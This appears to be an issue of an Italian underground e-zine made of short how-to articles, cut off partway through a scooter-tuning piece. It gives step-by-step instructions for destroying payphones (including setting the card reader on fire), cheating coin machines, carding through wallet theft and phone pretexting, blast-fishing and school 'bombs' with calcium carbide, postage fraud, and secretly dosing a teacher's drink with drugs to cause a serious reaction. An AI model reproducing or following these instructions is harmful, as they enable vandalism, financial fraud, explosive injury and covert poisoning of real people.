ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
COME RENDERE INUTILIZZABILE UNA CABINA TELEFONICA
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Arrivano i vandali!!!
Autore: Fusyllo
Consumo: 1 lattina di CocaCola e un cabina Telecom
Musica ascoltata: quella che volete
Dedicato: a tutti quelli che sono incazzati con la Telecoz
Questa volta vi spieghero' come rendere inutilizzabile la cabina telefonica
della cara mammina Telecom.
1. Potete infilare qualcosa (piu' grande delle monetine!) nel buco accanto al
display dove si mettono le monetine in modo che le monetine non entrino
piu'.
2. Infilate un scheda piegata in due nel "mangiaschede".
3. Privare della cosa piu' importante il telefono: la cornetta. Con una
tronchese tagliate il filo o tiratela e giratela finch‚ non si stacca.
Potete anche togliere il coperchio che copre il microfono con un cacciavite
prendere il microfono e richiudete.
4. In alcune cabine telefoniche sotto il telefono c'e' una cabina elettrica,
se riuscite ad aprirla vi siete fatti un salvavita.
5. Prendete una siringa e riempitela di alcol (basta che sia infiammabile),
trovate una cabina infilate l'ago (della siringa :-)) nel lettore delle
schede e cercate di spruzzare un po tutto il lettore. Ora prendete un
accendino e accendete il liquido, le cinghiette per muovere la scheda e
le testine si bruceranno e il lettore Š inutilizzabile.
6. Con un cacciavite rompete il display. In questo modo non si potr… vedere
ne l'importo ne il numero di telefono che si sta' chiamando.
7. Rompete i vetri.
8. Un po di fantasia :-D
Credo che ora la cabina sia inutilizzabile.
[email protected]
Fusyllo
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
COME HACKERARE UN COIN-OP
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Eccomi qui!
Sto per rivelarvi qualcosa che mi e' capitato di constatare personalmente
l'estate scorsa ovvero:
COME HACKERARE UN COIN-OP:
o meglio
COME GOCARE AI COIN-OP GRATIS:
E' una cosa semplicissima....dovete semplicemente trovare una sala giochi
che usi ancora le 500 œ o un bar con un coin-op che vi interessa.........
Cambiate 5.000 œ tutti in pezzi da 50 œ e andate possibilmente in una zona
della vostra citta' dove passano poche macchine e molti tram............
e adesso viene il bello:andate vicino ad una rotaia e mettete i pezzi da
50 œ tutti in fila a distanza di 3 cm l'una dall'altra.
Allontanatevi un po per non destare sospetti dato che tutto questo provocher…
un po di rumore,aspettate che passi il tram e che schiacci le monete.......
dopo di che andate SUBITO a raccoglierle per evitare che il drogaz di turno
le accatti prima di voi, e in questo modo otterrete delle monete da 50 œ modifi
cate in modo da essere larghe quasi come le 500 œ (dato che il coin-op riconosce
solo la larghezza e non il peso non ne notera' la differenza).
N.B.:Ovviamente non tutte le 50 œ verranno accettate dalla macchinetta poiche e'
matematicamente impossibile che il tram le schiacci tutte in modo uguale
percio' non venite a lamentarvi se sciupate qualche moneta...
AVVERTENZE o CONSIGLI:Non mettere mai piu' di una decina di 50 œ in una sola
volta ma se proprio avete fretta mettetene dieci su una
rotaia e dieci su un'altra.
Non fatevi mai pizzicare dal cocchiere o almeno fate
finta di niente dato che se venite sgamati il cocco
scendera' dal tram e verra' a farvi brutto e in questo
modo si rallentera' tutto il traffico e incorrerete
anche nell'ira degli automobilisti nonche' potrebbero
sorgere complicazioni a livello sociale....
ATTENZIONE (ihihi) IL TRAM POTREBBE ANCHE DERAGLIARE (whishhh)
Chiudo qui chiedendovi di non venire a lamentarvi da me se qualcosa non
funziona o se vi beccano e vi sbattono in gabbia (ihih).....io mi declino da
ogni responsabilita'.
Se mi volete contattare:
Nickname:PiNbALL
E-Mail:[email protected]
Oppure venitemi a trovare nel mio canale su irc : #discomania
O visitate il mio sito http://members.tripod.com/pinball6/pinb.html
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
"COMPLETAMENTO" DELL'ART APPARSO SU NewBies 2 SULLE BANCHE
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
PREMESSA BY N0bodY88 = questo msg mi e' stato mandato come "completamento" del
mio art sulle banche pubblicato sul numero 2 di NewBies.
Ho deciso di pubblicarlo xche' spiega un po' meglio il
modo x non farsi beccare e godere delle nostre imprese!
Devi sapere che le azioni una volta che le poni in vendita sono vendute la
miglior offerente e quindi anke su tu le vendi a 2.000 non Š detto che
riesci a ricomprarle a 2.000 ...
Un metodo + sicuro ?
Tranzasione via rete : puoi venderle domani e oggi impostare come parametro
di ricerca ed esecuzione che le azioni XXX vadano comprate nelle
prossime 24 o 48 ore con una spesa massima di 2.000 lirette...
Okkio che per fare una cosa del genere devi avere un conto in banca e almeno
1.000 dollari di account per giocare in borsa....
Tieni anke presente che se te le fai versare in banca devi pensare che la
banca tiene il log delle tue operazioni e non sarebbe piacevole che ti fai
inculare per una cazzatina cos•....
Quindi , se ti apri un'account con un broker on line e gli specifichi che i
ricavi dei tuoi movimenti non ti vengano accreditati alla tua banca di
appoggio ma reinvestiti in azioni , mi sa che Š + sicuro....
Se poi specifichi che una volta comprate le azioni della SexyShop a 2.000
devi metterle in vendita al miglior offerente e comprare Telecom a qualunque
cifra entro 15 minuti , poi vendere su piazza italiana e con il ricavato
comprare su piazza straniera riesci a mascherarti benino.....
Specie se imposti queste operazioni la sera prima o meglio 2 giorni prima di
vendere le azioni a poco , nessuno potr… mai dimostrare che hai fatto
qualcosa di illegale , faranno fede i log del tuo broker on line...
Vedi che i log non sono sempre cattivi? :-)))
Anonimo
NOTA DI N0bodY88 = l'autore di quest'art. e' un amico mio e di NewBies che
vuole rimanere anonimo xche' molto conosciuto nel mondo
dell'economia e delle transazioni. Ovviamente i complimenti
a lui x la sua spiegazione imo molto ben fatta :-)
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
LE "FAMOSE" BOLLE MICROSOFT
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Un art. veloce veloce...
This art.'s DeD 2 : la photo con gli adesivi
della MS sul qoolo!!.
Eh eh...."caxxo sono 'ste bolle??" mi chiederete voi.
"Una cosa molto divertente" vi rispondo io "specialmente se fatta con CD
della Microshit!!".
Agguantate un fottutissimo CD Microshit, levate quella schifezza di stratino
di plastica che ricopre la parte superiore del CD, questa operazione si puo'
effetuare in var modi: surf sull'asfalto (ulntwh99 eh eh), coltelluzzi vari
ect. ect.....
Ora prendete un accendino e riscaldate la parte inferiore del CD finche' non
vedrete la superfice che incomincia a deformarsi, soffiateci sopra forte e
vedrete una bolla tanto lunga quanto e' stata forte la vostra emissione di
fiato dal vostro orifizio orale....(N0bodY88 riesce a fare delle bolle di 1/2
cm......ogni riferimento alle sigarette e' puramente casuale !!!)
AH AH AH AH AH AH......!!!!!!
Beh...questo e' quanto......Se vedemo BoyZ....
By *Dante Alighieri*
NOTA BY N0bodY88 = salutiamo insieme il nostro mitico Dante che ci ha lasciato
dopo che lo ho messo fuori dal NewBies Staff causa citazio_
ne in questo articolo...sniff...ci mancherai :PPPPP hihihi
scherzavo ovviamente!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
W LA PESCA DI FRODO
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Questo articolo e' da pazzi quindi non scrivetemi per dirmelo perche' lo so
gia' !!!
PESCA DI FRODO !!!!
Chi di voi non vorrebbe fare 1 figurone con la propria ragazza (o no chi se
ne fotte ...) al mare emergendo dagli abissi con 1a decina di pesci NELLE
MANI o solamente sulla FIOCINA ????
Ecco qui il metodo semplice ed efficace ...
A chimica 1 gg 1a gocciolina ebbe l'idea di cadere in 1a sostanza marrone
solida ... ne sussegui' un urlo del prof "TUTTI A TERRA !!!!" poi ...dopo
circa 20 sec --> BOUMMMMMMMMMMMMM !!!
Si ruppe il lavello di "pietra" dove era contenuto il barattolo con la
simpatica gocciolina !
Si venne poi a conoscere 1 interessante reazione ...il carburo a contatto con
l'acqua esplode !
Vabbe' puo' non essere 1a cosa nuova ma per me lo era e da quel giorno nella
mia sQuola si susseguirono numerose misteriose esplosioni ...
AVEVO dato sfogo alla mia fantasia ...m'ero creato delle "bombe a tempo" dopo
essermi ovviamente fottuto tutto il carburo del laboratorio di chimica !!!
Bhe questo carburo lo uso anche per pescare di frodo poiche' basta metterlo
in un involucro (piccolo per carita' !!!) come quello delle sorpresine kinder,
bucarlo e buttarlo a una relativa profondita' con 1 sasso attaccatp plz
...la pressione aumentera' cosi' l'acqua avra' meno difficolta' a raggiungere
l'interno del contenitore con conseguente esplosione .
E' consigliabile attuare questo stratagemma dopo aver gettato esca che vada
sul fondo come del resto il vostro contenitore !!!
un altro metodo e' quello di gettare pane in quantita' industriale con lo
scopo di attirare molti pesci poi buttarci in mezzo il contenitore con pero'
il foro + largo in modo che qyalche skizzo penetri all'interno della
confezione e "inneschi" il tutto !!!
I pesci che emergerannno saranno direttamente proporzionali alla quantita' di
pane gettato e alla quantita' di acrburo utilizzato !
Attenzione ...ai pescatori potrebbe non piacere molto sto scherzetto ...gli
rubate il mestiere in fondo ...
bY Anonymous
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
W I PROF ASSENTI DA sQuola
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
W L'ASSENTEISMO !!!!
Volete FOTTERE qualcuno nel modo + bastardo possibile ?
Bene Prendete nota allora di cio' che vi occorre !
>-> 1a pastiglia sublinguale di feldene (1 noto antiinfiammatorio)
>-> 1a aspirina 03
>-> levolax in quantita' industriale ...
mischiate il tutto in quanta acqua calda anzi bollente volete (meno e' meglio
e') e lasciate fermentare il composto al sole per 1 gg .
Dopo di cio' il tutto e' pronto all'utilizzo !!!
Versate il tutto in 1a bevanda che berra' lo sfigati ...
NB: LA SOSTANZA E' INSAPORE , TRASPARENTE , MA NON INODORE quindi nella
Coca Cola va benissimo !
La reazione sara' fantastica :
1a semplice reazione allergica ...la pelle si squamera' , il prurito sara'
insopportabile quindi l'individuo SI GRATTERA' VIA LA PELLE DA SOLO !!!!!!!!
Stara' a casa + o - dai 2 ai 4 mesi a seconda delle quantita' e del soggetto!
BUON DIVERTIMENTOOOOOOOOO
HAHAHAHAHAHAHAHAHHOHOHOHOHOHOHOHHIHIHIHIHIHIHIHEHEHEHEHEHE !!!!
(sono pazzo da legare ...)
bY Anonymous
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
L'ARTE DEL CARDING
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Buongiorno e buonasera a tutti. Leggendo il titolo di questo articolo alcuni
(spero pochi) si saranno chiesti: "ma che diavolo e' il carding?". Bene, il
carding e' l'uso di carte di credito altrui, ottenute illegalmente. E' un'
attivita' discretamente diffusa anche in Italia, quindi entriamo subito nel
l'argomento. E' d'obbligo fare una distinzione: ci sono essenzialmente due
modi di fare carding:
1) RUBARE una carta di credito e andare in giro per negozi a fare acquisti
2) ottenere il NUMERO di una carta di credito ed ordinare per telefono.
Per quanto riguarda il primo punto, non dovrebbero esserci molti problemi:
individuate la vittima, che magari avete visto poco prima pagare in un negozio
con una carta di credito (per questo vi consiglio di frequentare gli
IperMercati di sabato pomeriggio), e le rubate il portafogli o la borsetta.
Recuperate la carta di credito (da ora in avanti CC) e buttate via tutto il
resto (anzi no, magari trattenete i soldi, visto che ci siete): vi trovate
con in mano una CC bella fresca, precipitatevi in un negozio (chesso', di CD,
di computer, di vestiti etc), comprate quello che volete, pagate con la CC e
sentitevi soddisfatti. Facile, vero? Certo, ma ci sono delle cose a cui fare
attenzione; vi consiglio di avere sempre un amico motorizzato fuori dal
negozio nel caso doveste scappare all'improvviso (chesso', la cassiera puo'
conoscere il vero proprietario della CC e sgamarvi); ricordate di non fare
puttanate del tipo (se siete maschi) presentarvi con una CC intestata a
"Mariettina Rossi", oppure (se siete donne) usare una CC intestata a "Fausto
Bianchi"; siate sempre sicuri di voi, migliorera' anche il tono di voce, state
calmi, non balbettate e tutto il resto, sono cose che fanno insospettire i
commessi e fanno nascere grane. Per ultimo non andate nel negozio che
frequentate sempre o in quello sotto casa, mi sembra piu' che ovvio.
Ma il metodo che piu' preferisco e vi consiglio e' il secondo: ottenere un
numero di CC e usarlo ordinando telefonicamente. Ci sono molti modi per
ottenere numeri validi, fra poco vi descrivero' il migliore, ma cacchio, NON
USATE I GENERATORI PER NUMERI DI CC che si trovano praticamente ovunque su
internet, sono delle vaccate che vi mettono solo nei guai. Fate piuttosto
cosi': prendete le pagine gialle (o le Pagine Utili Mondadori) spulciate
nelle categorie ingegneri, medici, dentisti, avvocati etc, insomma nelle
categorie di laureati che con piu' probabilita' hanno una CC e segnatevi i
numeri, la via e tutto il resto. Ok, andate in una cabina telefonica
(dannazione non fatelo dal telefono di casa), chiamate e spacciatevi per un
dipendente della banca e cominciate a sparare troiate del tipo "siccome c'e'
stato un aggiornamento nell'archivio del computer centrale, dovremmo
verificare che i numeri di CC corrispondano..." insomma, usate la fantasia
(come al solito), usate anche modi gentili e frasi del tipo "con gli altri
clienti finora non ci sono stati problemi" per rassicurarli: al 99% vi daranno
le informazioni che richiedete. Dovete farvi dare: tipo di CC, numero della CC
e data di scadenza. Nome, cognome, indirizzo e numero telefonico ce l'avete
gia'. WOW! Avete un numero valido di CC! E ora?
Beh ora il piu' e' fatto: cercate una ditta dalla quale si possa ordinare per
telefono e che permetta di pagare con CC (praticamente tutte) e telefonate
(dalla cabina). Una telefonata tipo potrebbe essere:
<Ditta>
<Voi >
<Ditta>
<Voi >
<Ditta>
<Voi >
<Ditta>
<Voi >
<Ditta>
<Voi >
<Ditta>
<Voi >
<Ditta>
<Voi >
<Ditta>
<Voi >
<Ditta>
<Voi >
Salve, qui e' la Computer&TuttoIlResto. Posso aiutarla?
Salve. Si', vorrei fare un ordine.
Benissimo, cosa vorrebbe ordinare?
Una scheda video Voodooo3
Ok. Mi dovrebbe lasciare i suoi dati. Nome?
[Nome e cognome del tizio della carta di credito]
Indirizzo?
[Indirizzo di dove avete intenzione di andare a ritirare il pacco]
Ok, va bene una spedizione tramite corriere?
Cazzo, va benissimo. Ma avevo intenzione di pagare tramite carta di
credito
Non ci sono problemi. Che carta di credito? Che numero? Scadenza?
[Tutti i dati della carta di credito]
Bene.
Siccome io sono sempre fuori per lavoro, posso decidere l'orario in
cui il corriere deve lasciarmi il pacco?
Certo, non ci sono problemi.
Bene, le 15:00 di giovedi' prossimo.
Ok, salve e grazie!
Ma grazie a lei! hihihihihi (ghigno malefico)
Che coincidenza! Alle 15:00 del giovedi' vi fate trovare al portone del
l'edificio, fate finta di niente e dite al ragazzo del corriere "Ah! E' il
pacco di Computer&TuttoIlResto? Si'? E' per me, sono il sig. [Cognome del
tizio della carta di credito]". Vi fara' firmare una ricevuta, mettete uno
scarabocchio alla cazzo, prendete il pacco e divertitevi.
"Beh, e al tizio della CC che diavolo succede?" E che diavolo ve ne fotte?!?
Comunque, tanto per sapere, gli verra' accreditato l'ordine che avete fatto
voi sulla ricevuta che gli arriva regolarmente ogni mese, chiedera'
informazioni, cercheranno di capire cos'e' successo, si ricordera' della
telefonata del tipo gentile della banca e se lo sentira' mooolto profondamente
nel culo. E vissero tutti (tranne lui) felici e contenti. Ancora un paio di
precisazioni: non fate ordini troppo costosi, i controlli aumenterebbero;
acquistate roba sotto le 100-150.000, tanto e' sempre gratis, no? Rischierete
molto meno. Siate sempre convinti&sicuri, ne gioveranno tutti.
Per concludere volevo commentare alcune cose che ho letto sull'argomento che
non condivido affatto; in molti articoli statunitensi sul carding ho letto
cose del tipo "fate lasciare il pacco in un edificio disabitato, o da qualcuno
che sia partito in vacanza". Cacchio, ma da loro non esistono le ricevute? Da
loro i corrieri sono cosi' imbecilli da lasciare i pacchi incustoditi? Mah...
oppure mi e' capitato di leggere di applicare la tecnica del trashing;
praticamente di rompere i sacchetti dell'immondizia di un negozio che accetta
CC per ottenere degli scontrini con i dati che ci servono. Uh? E quando mai
ci sbrighiamo? Dovremmo stare mesi a ravanare tra le loro merdate a caccia di
un minuscolo scontrino che magari hanno anche strappato... Ok, la finisco qui,
comunque state bene attenti e riflettete quando leggete documenti di questo
tipo: alcune volte ci sono scritte delle vere e proprio boiate (spero non sia
il caso di questo). Aloha!
Killexx
NOTA BY /sPIRIT/ = Se il trashing non serve a un cazzo io sono Bill Gates...
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
ARRIVANO I VANDALI !!!
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Autore: Fusyllo
Consumo: 1 paco di...(forse e' meglio che non mangiate) e una maschera
antigas :)
Musica ascoltata: quella che volete
Dedicato: a tutto lo staff di NewBies.
Quante volte avete sentito parlare di Stinky Bomb?? Mai? Allora ve lo spiego.
La Stinky Bomb e' una miscela che ha una puzza insopportabile che puo' essere
usata per fare scherzi.
Quello che vi serve.
- Alcol
- Profumi vari
- Zolfo
- Ammoniaca
- Polvere di ferro
- Limone o aceto (io preferisco il limone)
- Fonte di calore
- Pentolino o provetta
- Bilancia
- I contenitori delle sorprese nell'uovo kinder
Come si prepara
Sarebbe meglio andare in garage o a casa di un altro ;-)).
Dovete mischiare un po di tutti i profumi che avete e 1/2 di alcol.
Prendete un pentolino, mettete 7g di ferro e 4g di zolfo riscaldatelo e quando
inizia ad uscire il fumo aggiungete il succo di limone quanto basta, ora avete
del solfuro di ferro.
Sciogliete l'ammoniaca in acqua.
Poi mischiate 3/6 di solfuro di ferro, 1/6 di ammoniaca e 2/6 di profuumi.
Sentite gia' l'odorino :-D
Prendete i contenitori della sorpresa dell'uovo e siggillateli intorno con del
nastro isolante (quello degli elettricisti) e fare un buco sopra, mettete il
liquido e chiudete il buco con dell'altro nastro.
Le Stinky Bomb sono pronte, le aprite quando le dovete usare e le mettete
nella tasca di qualcuno a nella macchina.
[email protected]
Fusyllo
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ POSTING ovvero SE IO SONO IO E TU 6 TU KI E' IL + SCEMO TRA NOI 2 ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
POSTING ?!?!?! ovvero:
Se io sono io e tu 6 tu ki e' il + scemo tra noi 2 applicato alle PT !!
E' vero che siamo nell'era della posta elettronica,ma kakkio un modo per
fregare l'ente postale mi e' venuto in mente solo ora...!!!
Tengo a precisare che non l'ho ancora provato (datoche non mi e' ankora
servito) ma penso proprio che dovrebbe funzionare.Quest'oggi il mio articolo
e' dedicato ad un bel po'di persone.....per primi tutti coloro che mi hanno
conosciuto al meeting a Bologna (35 people..Wow) Poi ankore alla ragazza che
durante il meeting mi ha detto "ah tu sei Dante Alighieri....piacere io sono
Des..." a cui ho pensato per tutto il giorno nella speranza di riuscire a
capire ki era. Infine alle BOLLE sui CD della Microshit con cui ci siamo
divertiti per una buona mezz'ora. Ma ora passiamo all'art vero e proprio....
L'articulo si basa sul metodo di spedire lettere o pacchi senza pagare un
benemerito caxxo.... A parte il sitema organizzato gia' parecchio tempo fa da
dei ragazzi napoletaniche stampavano con una printer ad alta risoluzione
francobolli assolutamente falsi...me ne ricordo uno con la foto di un pezzo
di figa assurdo tutta ignuda con al posto della scritta "Poste Italiane" la
scritta "Toste Italiane" penso ci sia un'altro metodo abbastanza carino che
mi e'venuto in mente un po' di weeks ago. Cosa succede ad una lettera spedita
senza francobollo ??beh....arriva al destinatario a cui viene chiesto se vuole
pagare la tassa per ricevere la lettera oppure far ritornare la lettera al
mittente. Fin qui' niente di strano ma....se provassimo ad invertire il nome
del mittente con quello del destinatario??? La lettera arriva a me che in
realta' sono il mittente ma che secondo la lettera sono il destinatario, a
quel punto mi chiedono : vuole pagare la tassa ??? io gli rispondo : NoPe...
non mi interessa. Allora le poste che fanno???
Fanno ritornare la lettera al mittente...che in realta' e' il destinatario !!!
ahhahaahahahahhahahahahah
By Dante Alighieri
N.B.Alla fine ho scoperto ki era quella ragazza...Ciao Desdy !!!
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ COME HACKERARE UNO SCOOTER ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
cIAO gente!
sono ancora io ...PiNbALL....
Vorrei parlare di un argomento abbastanza importante.....
Quante umiliazioni avete subito ad un semaforo ?
Il vostro scooter non si muove se qualcuno non lo piglia a calci?
No problem.....con 270.000 circa potrete avere una skeggia di ripresa!
Quanti di voi hanno sempre sognato di elaborare il proprio scooter spendendo
pochi soldi???
Volete far si che il vostro scooter si alzi su una ruota appena girate la
manopola del gas su 1/3 ?Vi dico subito che questo e' stato testato sul mio
motorino con esiti + che positivi ed anche se non sono un meccanico
